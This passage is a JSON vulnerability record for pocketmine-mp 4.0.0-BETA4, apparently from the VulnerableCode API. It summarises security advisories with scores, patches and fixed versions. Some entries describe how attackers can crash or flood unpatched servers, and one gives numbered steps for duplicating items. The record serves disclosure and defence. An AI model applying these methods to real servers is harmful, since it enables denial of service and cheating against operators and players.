{"url":"http://public2.vulnerablecode.io/api/packages/530226?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.0.0-BETA4","type":"composer","namespace":"pocketmine","name":"pocketmine-mp","version":"4.0.0-BETA4","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"5.42.1","latest_non_vulnerable_version":"5.42.1","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/360873?format=json","vulnerability_id":"VCID-21se-t8q9-yudv","summary":"PocketMine-MP server crash with certain invalid JSON payloads in `LoginPacket` due to dependency vulnerability (again)\n### Impact\nAn attacker could crash PocketMine-MP by sending malformed JSON in `LoginPacket`.\n\nThis happened due to the particular handling of NULL types in the json mapper which accepts NULL type values in typed arrays which PocketMine-MP did not expect.\n\n Code processing arrays in the JSON data could then crash due to unexpected `NULL` elements.\n\n### Patches\nThis problem was fixed in 5.3.1 and 4.23.1 by updating JsonMapper to include the following commit: pmmp/netresearch-jsonmapper@4f90e8dab1c9df331fad7d3d89823404e882668c\n\nAn upstream patch for this issue was proposed via https://github.com/cweiske/jsonmapper/pull/211; however, as of 2024-05-15, the patch has not been accepted upstream due to debate about how to deal with the behavior. For now, a fork of JsonMapper is used by PocketMine-MP to workaround the issue.\n\n### Workarounds\nA plugin may handle `DataPacketReceiveEvent` for `LoginPacket` and check that none of the input arrays contain `NULL` where it's not expected, but this is rather cumbersome.\n\n### References\nProposed upstream patch for a behavior change: https://github.com/cweiske/jsonmapper/pull/211","references":[{"reference_url":"https://github.com/pmmp/netresearch-jsonmapper/commit/4f90e8dab1c9df331fad7d3d89823404e882668c","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/netresearch-jsonmapper/commit/4f90e8dab1c9df331fad7d3d89823404e882668c"},{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-92jh-gwch-jq38","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-92jh-gwch-jq38"},{"reference_url":"https://github.com/advisories/GHSA-92jh-gwch-jq38","reference_id":"GHSA-92jh-gwch-jq38","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-92jh-gwch-jq38"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/379692?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.23.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.23.1"},{"url":"http://public2.vulnerablecode.io/api/packages/379691?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.3.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.3.1"}],"aliases":["GHSA-92jh-gwch-jq38","GMS-2023-2249"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-21se-t8q9-yudv"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/206996?format=json","vulnerability_id":"VCID-2sbu-jxum-5fce","summary":"Inability to de-op players if listed in ops.txt with non-lowercase letters","references":[{"reference_url":"https://github.com/iTXTech/Genisys/issues/1188","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/iTXTech/Genisys/issues/1188"},{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/4.0.3/changelogs/4.0.md#403","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/4.0.3/changelogs/4.0.md#403"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/4d37b79ff7f9d9452e988387f97919a9a1c4954e","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/4d37b79ff7f9d9452e988387f97919a9a1c4954e"},{"reference_url":"https://github.com/advisories/GHSA-j5qg-w9jg-3wg3","reference_id":"GHSA-j5qg-w9jg-3wg3","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-j5qg-w9jg-3wg3"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-j5qg-w9jg-3wg3","reference_id":"GHSA-j5qg-w9jg-3wg3","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-j5qg-w9jg-3wg3"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/18385?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.0.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-b96w-azrg-sqah"},{"vulnerability":"VCID-drn3-hfmz-mbgj"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-k8xn-bve5-duh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-ntjs-ceva-8yas"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-ss78-eefn-77fx"},{"vulnerability":"VCID-u9mw-pj6c-b3c4"},{"vulnerability":"VCID-v3u1-9zqz-s7h9"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-xjuq-7177-rfc1"},{"vulnerability":"VCID-ybn8-byz7-gqb5"},{"vulnerability":"VCID-yqdh-k9nx-bqbh"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.0.3"}],"aliases":["GHSA-j5qg-w9jg-3wg3","GMS-2021-54"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-2sbu-jxum-5fce"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/211727?format=json","vulnerability_id":"VCID-48ue-wv63-4ugn","summary":"PocketMine-MP server crash with certain invalid JSON payloads in `LoginPacket` due to dependency vulnerability (3rd time)","references":[{"reference_url":"https://github.com/cweiske/jsonmapper/issues/226","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/cweiske/jsonmapper/issues/226"},{"reference_url":"https://github.com/cweiske/jsonmapper/pull/225","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/cweiske/jsonmapper/pull/225"},{"reference_url":"https://github.com/pmmp/netresearch-jsonmapper/commit/b96a209f9e8b76b899a0d0918493cd87eb3c02a7","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/netresearch-jsonmapper/commit/b96a209f9e8b76b899a0d0918493cd87eb3c02a7"},{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/6872661fd03649cc7a8762c41c16e9ee5a4de1c9","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/6872661fd03649cc7a8762c41c16e9ee5a4de1c9"},{"reference_url":"https://github.com/advisories/GHSA-h6j3-j35f-v2x7","reference_id":"GHSA-h6j3-j35f-v2x7","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-h6j3-j35f-v2x7"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6j3-j35f-v2x7","reference_id":"GHSA-h6j3-j35f-v2x7","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-h6j3-j35f-v2x7"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/29549?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.11.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.11.1"}],"aliases":["GHSA-h6j3-j35f-v2x7"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-48ue-wv63-4ugn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/361094?format=json","vulnerability_id":"VCID-512n-rhbr-cqcy","summary":"PocketMine MP vulnerable to uncontrolled resource consumption via mismatched type of 'InventoryTransactionPacket'\n### Impact\nA \"mismatch\" type `InventoryTransactionPacket` is sent by the client to request a resync of all currently open inventories.\n\nSince PocketMine-MP does not rate-limit these \"mismatch\" transactions, and the syncing of inventories is not deferred until, e.g. the end of the current tick, they can be used as a very cheap bandwidth multiplier by making the server send out many MB of data (network serialized inventory items can be very large, especially when dealing with large amounts of NBT).\n\nThis is not currently known to have been exploited in the wild.\n\n### Patches\nThis problem was fixed in 4.18.0-ALPHA2 by ca6d51498f12427a947467da8fcad7811418e6cc alongside the introduction of the `ItemStackRequest` system implementation.\n\n### Workarounds\nPlugins can handle `DataPacketReceiveEvent` for `InventoryTransactionPacket` and check if the type is `MismatchTransactionData`. If it is, apply some kind of rate limit (e.g. max 1 per tick).","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/4.18.0-ALPHA2/changelogs/4.18-alpha.md#4180-ALPHA2","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/4.18.0-ALPHA2/changelogs/4.18-alpha.md#4180-ALPHA2"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-42qm-8v8m-m78c","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-42qm-8v8m-m78c"},{"reference_url":"https://github.com/advisories/GHSA-42qm-8v8m-m78c","reference_id":"GHSA-42qm-8v8m-m78c","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-42qm-8v8m-m78c"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/381854?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.18.0-ALPHA2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.18.0-ALPHA2"}],"aliases":["GHSA-42qm-8v8m-m78c","GMS-2023-1728"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-512n-rhbr-cqcy"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/359910?format=json","vulnerability_id":"VCID-5ek8-52ek-sqc8","summary":"PocketMine-MP has LogDoS by many junk properties in client data JWT in LoginPacket\n### Impact\n\nAttackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time.\n\nThis happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.\n\nThis vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.\n\n### Patches\n\nThis issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server.\n\n### Workarounds\nPlugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.\n\nHowever, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).\n\n### References\nAffected code:\n\nhttps://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303\nhttps://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/c1d4a813fb8c21bfd8b9affd040da864b794df71","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/c1d4a813fb8c21bfd8b9affd040da864b794df71"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xp4f-g2cm-rhg7","reference_id":"","reference_type":"","scores":[{"value":"6.9","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-xp4f-g2cm-rhg7"},{"reference_url":"https://github.com/advisories/GHSA-xp4f-g2cm-rhg7","reference_id":"GHSA-xp4f-g2cm-rhg7","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-xp4f-g2cm-rhg7"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/374104?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.42.1","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.42.1"}],"aliases":["GHSA-xp4f-g2cm-rhg7"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-5ek8-52ek-sqc8"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/359883?format=json","vulnerability_id":"VCID-5nfj-srxx-8fh7","summary":"PocketMine-MP: Player entities can still die and drop items in flaggedForDespawn state\n### Summary\nWhen an entity dies, the entity is flagged for despawn, but remains in the `World`'s entity table, meaning it's still accessible by doing `World->getEntity($entityId)` and other methods. The same is true of a player when quitting the server.\n\nWhen a network packet arrives from a client to attack an entity, the handler fetches the entity using `World->getEntity($entityId)` without any checks if the entity is already marked for despawning. Depending on the timing, the entity in question might already be in the flagged-for-despawn state when the action is processed. This means that the death handler for the entity might be run multiple times, causing loot and XP to be dropped multiple times, among other potential side effects.\n\n### Reproducing steps\nTo reproduce this vulnerability, two clients (Player A and Player B) are required.\n\nPrerequisites:\n    - Player A (Victim): Must have the valuable items to be duplicated in their inventory and 1 HP (to ensure instant death).\n    - Player B (Attacker): Must be equipped with a weapon capable of dealing at least 1 damage.\n\nSteps:\n    1. Player A and Player B stand next to each other.\n    2. Player A initiates the disconnect sequence (e.g., clicking \"Disconnect\" or \"Exit to Menu\").\n    3. Immediately after Player A triggers the disconnect (within a split-second window), Player B must attack and kill Player A.\n    4. Player A's character dies server-side, and their inventory drops on the ground.\n    5. Player B collects the dropped items.\n    6. Player A logs back into the server.\n    7. Result: Player A still possesses the original items in their inventory, while Player B holds the dropped copies.\n\n### Patches\nThe issue was fixed in https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683 by adding checks for flagged-for-despawn entities in several affected locations.\n\nWhile a cleaner fix would be to have `World`'s various entity accessing methods exclude flagged-for-despawn entities, this was deemed too risky for 5.x as it would require significant internal changes.\n\n### Workarounds\nPlugins can mitigate this issue on older versions by handling `EntityDamageByEntityEvent`, checking if the victim entity is flagged for despawn, and if so, cancelling the event.","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-f9jp-856v-8642","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-f9jp-856v-8642"},{"reference_url":"https://github.com/advisories/GHSA-f9jp-856v-8642","reference_id":"GHSA-f9jp-856v-8642","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-f9jp-856v-8642"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/373465?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@5.39.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-s99k-v9k6-tkhe"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.39.2"}],"aliases":["GHSA-f9jp-856v-8642"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-5nfj-srxx-8fh7"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/208934?format=json","vulnerability_id":"VCID-b96w-azrg-sqah","summary":"Insufficient type validation in pocketmine/pocketmine-mp","references":[{"reference_url":"https://github.com/pmmp/PocketMine-MP","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/blob/4.2.9/changelogs/4.2.md#429","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/blob/4.2.9/changelogs/4.2.md#429"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/commit/5a98b08ee8dc8ff14862cd83d2e4af9d212fefc2","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/commit/5a98b08ee8dc8ff14862cd83d2e4af9d212fefc2"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/releases/tag/4.2.9","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/releases/tag/4.2.9"},{"reference_url":"https://github.com/advisories/GHSA-g5rr-p69h-7v3g","reference_id":"GHSA-g5rr-p69h-7v3g","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-g5rr-p69h-7v3g"},{"reference_url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g5rr-p69h-7v3g","reference_id":"GHSA-g5rr-p69h-7v3g","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-g5rr-p69h-7v3g"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/20250?format=json","purl":"pkg:composer/pocketmine/pocketmine-mp@4.2.9","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-21se-t8q9-yudv"},{"vulnerability":"VCID-48ue-wv63-4ugn"},{"vulnerability":"VCID-512n-rhbr-cqcy"},{"vulnerability":"VCID-5ek8-52ek-sqc8"},{"vulnerability":"VCID-5nfj-srxx-8fh7"},{"vulnerability":"VCID-drn3-hfmz-mbgj"},{"vulnerability":"VCID-et56-qjpe-2yd6"},{"vulnerability":"VCID-fhba-frv3-nbak"},{"vulnerability":"VCID-k8xn-bve5-duh7"},{"vulnerability":"VCID-nd23-6jpk-qkdx"},{"vulnerability":"VCID-qgtx-5npy-q7c4"},{"vulnerability":"VCID-s99k-v9k6-tkhe"},{"vulnerability":"VCID-v3u1-9zqz-s7h9"},{"vulnerability":"VCID-vdbj-qe43-jqhy"},{"vulnerability":"VCID-vteg-jcfz-4qhs"},{"vulnerability":"VCID-ybn8-byz7-gqb5"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@4.2.9"}],"aliases